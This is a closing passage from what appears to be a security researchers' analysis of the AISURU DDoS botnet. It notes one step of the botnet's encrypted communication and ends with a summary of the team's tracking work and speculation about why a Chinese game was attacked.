<li>Sned Bot Group Info <ul>
<li>Send the length of group information first, then send the CHACHA20 encrypted payload</li>
</ul>
</ol>
<p>With this, the introduction of the main technical details of the AISURU botnet is concluded. DDoS, an ancient threat to the network, one of the archenemies of the gaming industry, is so simple yet brutally effective.</p>
<h1 id="summary">Summary</h1>
<p>Our team has been focusing on the field of large-scale botnet discovery and tracking for more than 10 years, and has participated in the early warning, defense and collaboration of many well-known and undisclosed attacks around the world. However, the organization and intensity of this attack still surprised us. What it the motive here, is anyone upset that a game from China has reached the top of the rankings?</p>
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